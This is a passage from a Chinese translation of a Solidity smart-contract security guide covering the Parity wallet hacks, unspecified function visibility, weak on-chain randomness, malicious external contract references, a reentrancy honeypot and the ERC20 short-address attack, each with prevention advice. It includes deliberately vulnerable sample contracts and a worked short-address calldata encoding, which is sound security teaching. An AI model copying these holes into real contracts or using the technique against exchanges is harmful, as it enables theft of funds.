由於有可能向 WalletLibrary 合約自己發送調用請求。具體來講,WalletLibrary 合約能夠初始化,並被用戶擁有。一個用戶經過調用 WalletLibrary 中的 initWallet() 函數,成爲了 Library 合約的全部者。同一個用戶,隨後調用 kill() 功能。由於用戶是 Library 合約的全部者,因此修改傳入、Library 合約自毀。由於全部現存的 Wallet 合約都引用該 Library 合約,而且不包含更改引用的方法,所以其全部功能(包括取回 Ether 的功能)都會隨 WalletLibrary 合約一塊兒丟失。更直接地說,這種類型的 Parity 多簽名錢包中的全部以太都會當即丟失或者說永久不可恢復。
注 1:此代碼已從 web3j 修改過。
Solidity 中的函數具備可見性說明符,它們會指定咱們能夠如何調用函數。可見性決定一個函數是否能夠由用戶或其餘派生契約在外部調用、只容許內部調用或只容許外部調用。有四個可見性說明符,詳情請參閱 Solidity 文檔。爲容許用戶從外部調用函數,函數的可見性默認爲 public。正如本節將要討論的,可見性說明符的不正確使用可能會致使智能合約中的一些資金流失。
漏洞
函數的可見性默認是 public。所以,不指定任何可見性的函數就能夠由用戶在外部調用。當開發人員錯誤地忽略應該是私有的功能(或只能在合約自己內調用)的可見性說明符時,問題就出現了。
讓咱們快速瀏覽一個簡單的例子。
contract HashForEther {
function withdrawWinnings() {
// Winner if the last 8 hex characters of the address are 0.
require(uint32(msg.sender) == 0);
_sendWinnings();
}
function _sendWinnings() {
msg.sender.transfer(this.balance);
}
}
複製代碼
這個簡單的合約被設計爲充當賞金猜想遊戲的地址。要贏得該合約的餘額,用戶必須生成一個以太坊地址,其最後 8 個十六進制字符爲0。一旦得到,他們能夠調用 WithdrawWinnings() 函數來得到賞金。
不幸的是,這些功能的可見性沒有獲得指定。特別是,由於 _sendWinnings() 函數的可見性是 public,任何地址均可以調用該函數來竊取賞金。
預防技術
老是指定合約中全部功能的可見性、即使這些函數的可見性本就有意設計成 public,這是一種很好的作法。最近版本的 Solidity 將在編譯過程當中爲沒有明確設置可見性的函數顯示警告,以鼓勵這種作法。
真實世界示例:Parity MultiSig Wallet(First Hack)
在 Parity 多簽名錢包遭受的第一次黑客攻擊中,約值 3100 萬美圓的 Ether 被盜,主要是三個錢包。Haseeb Qureshi 在這篇文章中給出了一個很好的回顧。
實質上,這些多簽名錢包(能夠在這裏找到)是從一個基礎的 Wallet 合約構建出來的,該基礎合約調用包含核心功能的庫合約(如真實世界中的例子:Parity Multisig(Second Hack)中所述)。庫合約包含初始化錢包的代碼,如如下代碼片斷所示
contract WalletLibrary is WalletEvents {
...
// METHODS
...
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1; for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
...
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
}
複製代碼
請注意,這兩個函數都沒有明確指定可見性。兩個函數的可見性都默認爲 public 。錢包構造函數會調用 initWallet() 函數,並設置多簽名錢包的全部者,如 initMultiowned() 函數中所示。因爲這些函數意外地設置爲 public,攻擊者能夠在部署的合約上調用這些功能,並將全部權重置爲攻擊者地址。做爲主人,襲擊者隨後取走錢包中全部的 Ether,損失高達 3100 萬美圓。
以太坊區塊鏈上的全部交易都是肯定性的狀態轉換操做。這意味着每筆交易都會改變以太坊生態系統的全球狀態,而且它以可計算的方式進行,沒有不肯定性。這最終意味着在區塊鏈生態系統內不存在熵或隨機性的來源。Solidity 中沒有 rand() 功能。實現區中心化的熵源(隨機性)是一個由來已久的問題,人們提出了不少想法來解決這個問題(例如,RanDAO,或是如 Vitalik 在這篇帖子中說的那樣,使用哈希鏈)。
漏洞
以太坊平臺上創建的首批合約中,有一些是圍繞博彩的。從根本上講,博彩須要不肯定性(能夠下注),這使得在區塊鏈(一個肯定性系統)上構建博彩系統變得至關困難。很明顯,不肯定性只能來自於區塊鏈外部的來源。朋友之間怡情仍是能夠的(例如參見承諾揭示技術),然而,要讓合約成爲賭場(好比玩 21 點或是輪盤賭),則困可貴多。一個常見的誤區是使用將來的塊變量,如區塊哈希值,時間戳,區塊高低或是 Gas 上限。與這些設計有關的問題是,這些量都是由挖礦的礦工控制的,所以並非真正隨機的。
例如,考慮一個輪盤賭智能合約,其邏輯是若是下一個塊哈希值以偶數結尾,則返回一個黑色數字。一個礦工(或礦池)能夠在黑色上下注 100 萬美圓。若是他們挖出下一個塊並發現塊哈希值以奇數結尾,他們會高興地不發佈他們的塊、繼續挖礦、直到他們挖出一個塊哈希值爲偶數的塊(假設區塊獎勵和費用低於 100 萬美圓)。Martin Swende 在其優秀的博客文章中指出,使用過去或如今的區塊變量可能會更具破壞性。此外,僅使用塊變量意味着僞隨機數對於一個塊中的全部交易都是相同的,因此攻擊者能夠經過在一個塊內進行屢次交易來使收益倍增(若是賭注有上限的話)。
預防技術
熵(隨機性)的來源只能在區塊鏈以外。在熟人之間,這能夠經過使用諸如 commit-reveal 之類的系統來解決,或經過將信任模型更改成一組參與者(例如 RanDAO)。這也能夠經過一箇中心化的實體來完成,這個實體充當一個隨機性的預言機(Oracle)。區塊變量(通常來講,有一些例外)不該該被用來提供熵,由於它們能夠被礦工操縱。
真實世界示例:PRNG 合約
Arseny Reutov 分析了 3649 份使用某種僞隨機數發生器(PRNG)的已上線智能合約,在發現 43 份可被利用的合約以後寫了一篇博文。該文詳細討論了使用區塊變量做爲熵源的缺陷。
以太坊全球計算機的好處之一是可以重複使用代碼、與已部署在網絡上的合約進行交互。所以,大量合約引用外部合約,而且在通常運營中使用外部消息調用(External Message Call)來與這些合約交互。惡意行爲者的意圖能夠隱藏在這些不起眼的外部消息調用之下,下面咱們就來探討這些瞞天過海的方法。
漏洞
在 Solidity 中,任何地址均可以被看成合約,不管地址上的代碼是否表示須要用到合約類型。這多是騙人的,特別是當合約的做者試圖隱藏惡意代碼時。讓咱們以一個例子來講明這一點:
考慮一段代碼,它初步地實現了 Rot13 密碼。
Rot13Encryption.sol :
//encryption contract
contract Rot13Encryption {
event Result(string convertedString);
//rot13 encrypt a string
function rot13Encrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
//inline assembly to modify the string
assembly {
char := byte(0,char) // get the first byte
if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
{ char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
if iszero(eq(char, 0x20)) // ignore spaces
{mstore8(add(add(text,0x20), mul(i,1)), add(char,13))} // add 13 to char.
}
}
emit Result(text);
}
// rot13 decrypt a string
function rot13Decrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
assembly {
char := byte(0,char)
if and(gt(char,0x60), lt(char,0x6E))
{ char:= add(0x7B, sub(char,0x61)) }
if iszero(eq(char, 0x20))
{mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}
}
}
emit Result(text);
}
}
複製代碼
獲得一串字符(字母 a-z,沒有驗證)以後,上述代碼經過將每一個字符向右移動 13 個位置(圍繞 'z')來加密該字符串;即 'a' 轉換爲 'n','x' 轉換爲 'k'。這裏的集合並不重要,因此若是在這個階段看不出問題,沒必要焦躁。
考慮如下使用此代碼進行加密的合約,
import "Rot13Encryption.sol";
// encrypt your top secret info
contract EncryptionContract {
// library for encryption
Rot13Encryption encryptionLibrary;
// constructor - initialise the library
constructor(Rot13Encryption _encryptionLibrary) {
encryptionLibrary = _encryptionLibrary;
}
function encryptPrivateData(string privateInfo) {
// potentially do some operations here
encryptionLibrary.rot13Encrypt(privateInfo);
}
}
複製代碼
這個合約的問題是, encryptionLibrary 地址並非公開的或保證不變的。所以,合約的配置人員能夠在指向該合約的構造函數中給出一個地址:
//encryption contract
contract Rot26Encryption {
event Result(string convertedString);
//rot13 encrypt a string
function rot13Encrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
//inline assembly to modify the string
assembly {
char := byte(0,char) // get the first byte
if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
{ char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
if iszero(eq(char, 0x20)) // ignore spaces
{mstore8(add(add(text,0x20), mul(i,1)), add(char,26))} // add 13 to char.
}
}
emit Result(text);
}
// rot13 decrypt a string
function rot13Decrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
assembly {
char := byte(0,char)
if and(gt(char,0x60), lt(char,0x6E))
{ char:= add(0x7B, sub(char,0x61)) }
if iszero(eq(char, 0x20))
{mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}
}
}
emit Result(text);
}
}
複製代碼
它實現了 rot26 密碼(每一個字母移動 26 個位置,明白了嗎(微笑臉))。再次強調,你不須要了解本合約中的程序集。部署人員也能夠連接下列合約:
contract Print{
event Print(string text);
function rot13Encrypt(string text) public {
emit Print(text);
}
}
複製代碼
若是這些合約中的任何一個的地址在構造函數中給出,那麼 encryptPrivateData() 函數只會產生一個打印出未加密私有數據的事件(Event)。
儘管在這個例子中,在構造函數中設置了相似庫的合約,可是特權用戶(例如 owner )能夠更改庫合約地址。若是被連接的合約不包含被調用的函數,則將執行回退函數。例如,對於行 encryptionLibrary.rot13Encrypt() ,若是指定的合約 encryptionLibrary 是:
contract Blank {
event Print(string text);
function () {
emit Print("Here");
//put malicious code here and it will run
}
}
複製代碼
那麼會發出一個帶有「Here」文字的事件。所以,若是用戶能夠更改合約庫,原則上可讓用戶在不知不覺中運行任意代碼。
注意:不要使用這些加密合約,由於智能合約的輸入參數在區塊鏈上可見。另外,Rot密碼並非推薦的加密技術:p
預防技術
如上所示,無漏洞合約能夠(在某些狀況下)以惡意行爲的方式部署。審計人員能夠公開驗證合約並讓其全部者以惡意方式進行部署,從而產生具備漏洞或惡意的公開審計合約。
有許多技術能夠防止這些狀況發生。
一種技術是使用 new 關鍵詞來建立合約。在上面的例子中,構造函數能夠寫成:
constructor(){
encryptionLibrary = new Rot13Encryption();
}
複製代碼
這樣,引用合約的一個實例就會在部署時建立,而且部署者沒法在不修改智能合約的狀況下用其餘任何東西替換 Rot13Encryption 合約。
另外一個解決方案是若是已知外部合約地址的話,對全部外部合約地址進行硬編碼。
通常來講,應該仔細查看調用外部合約的代碼。做爲開發人員,在定義外部合約時,最好將合約地址公開(在 Honey-pot 的例子中就不是這樣),以便用戶輕鬆查看合約引用了哪些代碼。反過來講,若是合約具備私人變量合約地址,則它多是某人惡意行爲的標誌(如現實示例中所示)。若是特權(或任何)用戶可以更改用於調用外部函數的合約地址,(在去中心化系統的情境中)實現時間鎖定或投票機制就變得很重要,爲要容許用戶查看哪些代碼正在改變,或讓參與者有機會選擇加入/退出新的合約地址。
真實世界的例子:可重入釣魚合約
最近主網上出現了一些釣魚合約(Honey Pot)。這些合約試圖戰勝那些想要利用合約漏洞的黑客,讓他們反過來在想要利用的合約中損失 Ether。一個例子是經過在構造函數中用惡意合約代替指望的合約來發動上述攻擊。代碼能夠在這裏找到:
pragma solidity ^0.4.19;
contract Private_Bank
{
mapping (address => uint) public balances;
uint public MinDeposit = 1 ether;
Log TransferLog; function Private_Bank(address _log)
{
TransferLog = Log(_log);
} function Deposit()
public
payable
{ if(msg.value >= MinDeposit)
{
balances[msg.sender]+=msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
} function CashOut(uint _am)
{ if(_am<=balances[msg.sender])
{ if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
} function() public payable{}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message LastMsg; function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}
複製代碼
一位 reddit 用戶發佈了這篇文章,解釋他們如何在他們想利用可重入漏洞的合約中失去 1 Ether。
這種攻擊並非專門針對 Solidity 合約執行的,而是針對可能與之交互的第三方應用程序執行的。爲了完整性,我添加了這個攻擊,而後意識到了參數能夠在合約中被操縱。
有關進一步閱讀,請參閱 ERC20 短地址攻擊說明,ICO智能合約漏洞:短地址攻擊或這個 Reddit 帖子。
漏洞
將參數傳遞給智能合約時,參數將根據 ABI 規範進行編碼。能夠發送比預期參數長度短的編碼參數(例如,發送只有 38 個十六進制字符(19 個字節)的地址而不是標準的 40 個十六進制字符(20 個字節))。在這種狀況下,EVM 會將 0 填到編碼參數的末尾以補成預期的長度。
當第三方應用程序不驗證輸入時,這會成爲問題。最明顯的例子是當用戶請求提款時,交易所不驗證 ERC20 Token 的地址。Peter Venesses 的文章 「ERC20 短地址攻擊解釋」中詳細介紹了這個例子。
考慮一下標準的 ERC20 傳輸函數接口,注意參數的順序,
function transfer(address to, uint tokens) public returns (bool success);
如今考慮一下,一個交易所持有大量代(比方說 REP ),而且,某用戶但願取回他們存儲的100個代幣。用戶將提交他們的地址, 0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead 以及代幣的數量 100 。交易所將根據 transfer() 函數指定的順序對這些參數進行編碼,即先是 address 而後是 tokens 。編碼結果將是 a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead0000000000000000000000000000000000000000000000056bc75e2d63100000。
前四個字節(a9059cbb)是 transfer() 函數簽名/選擇器,第二個 32 字節是地址,最後 32 個字節是表示代幣數量的 uint256 。請注意,最後的十六進制數 56bc75e2d63100000 對應於 100 個代幣(包含 18 個小數位,這是由 REP 代幣合約指定的)。
好的,如今讓咱們看看若是咱們發送一個丟失 1 個字節(2 個十六進制數字)的地址會發生什麼。具體而言,假設攻擊者以 0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde 做爲地址發送(缺乏最後兩位數字),並取回相同的 100 個代幣。若是交易所沒有驗證這個輸入,它將被編碼爲 a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeadde0000000000000000000000000000000000000000000000056bc75e2d6310000000。差異是微妙的。
請注意, 00 已被填充到編碼的末尾,以補完發送的短地址。當它被髮送到智能合約時, address 參數將被讀爲 0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00 而且值將被讀爲 56bc75e2d6310000000 (注意兩個額外的 0)。此值如今是 25600 個代幣(值已被乘以 256 )。在這個例子中,若是交易所持有這麼多的代幣,用戶會取出 25600 個代幣(而交換所認爲用戶只是取出 100)到修改後的地址。
很顯然,在這個例子中攻擊者不會擁有修改後的地址,可是若是攻擊者產生了以 0 結尾的地址(很容易強制產生)而且使用了這個生成的地址,他們很容易從毫無防備的交易所中竊取令牌。
預防技術
我想很明顯,在將全部輸入發送到區塊鏈以前對其進行驗證能夠防止這些類型的攻擊。還應該指出的是參數排序在這裏起着重要的做用。因爲填充只發生在字符串末尾,智能合約中參數的縝密排序可能會緩解此攻擊的某些形式。
真實世界的例子:未知
我尚不知道真實世界中發生的此類攻擊的公開例子。
內容來源:簡書-輝哥;公衆號-慢霧科技
原文連接: https://blog.sigmaprime.io/solidity-security.html
做者: Dr Adrian Manning
翻譯&校對: 愛上平頂山@慢霧安全團隊 & keywolf@慢霧安全團隊
致謝(校對):yudan、阿劍@EthFans
本文由慢霧安全團隊翻譯,這裏是最新譯文的 GitHub 地址:https://github.com/slowmist/Knowledge-Base/blob/master/solidity-security-comprehensive-list-of-known-attack-vectors-and-common-anti-patterns-chinese.md。
線上課程推薦
線上課程:《8小時區塊鏈智能合約開發實踐》
培訓講師:《白話區塊鏈》做者 蔣勇
課程原價:999元,現價 399元
更多福利:
@全部人,識別下圖二維碼轉發課程邀請好友報名,便可得到報名費50%返利
@學員,報名學習課程並在規定時間內完成考試便可瓜分10000元獎金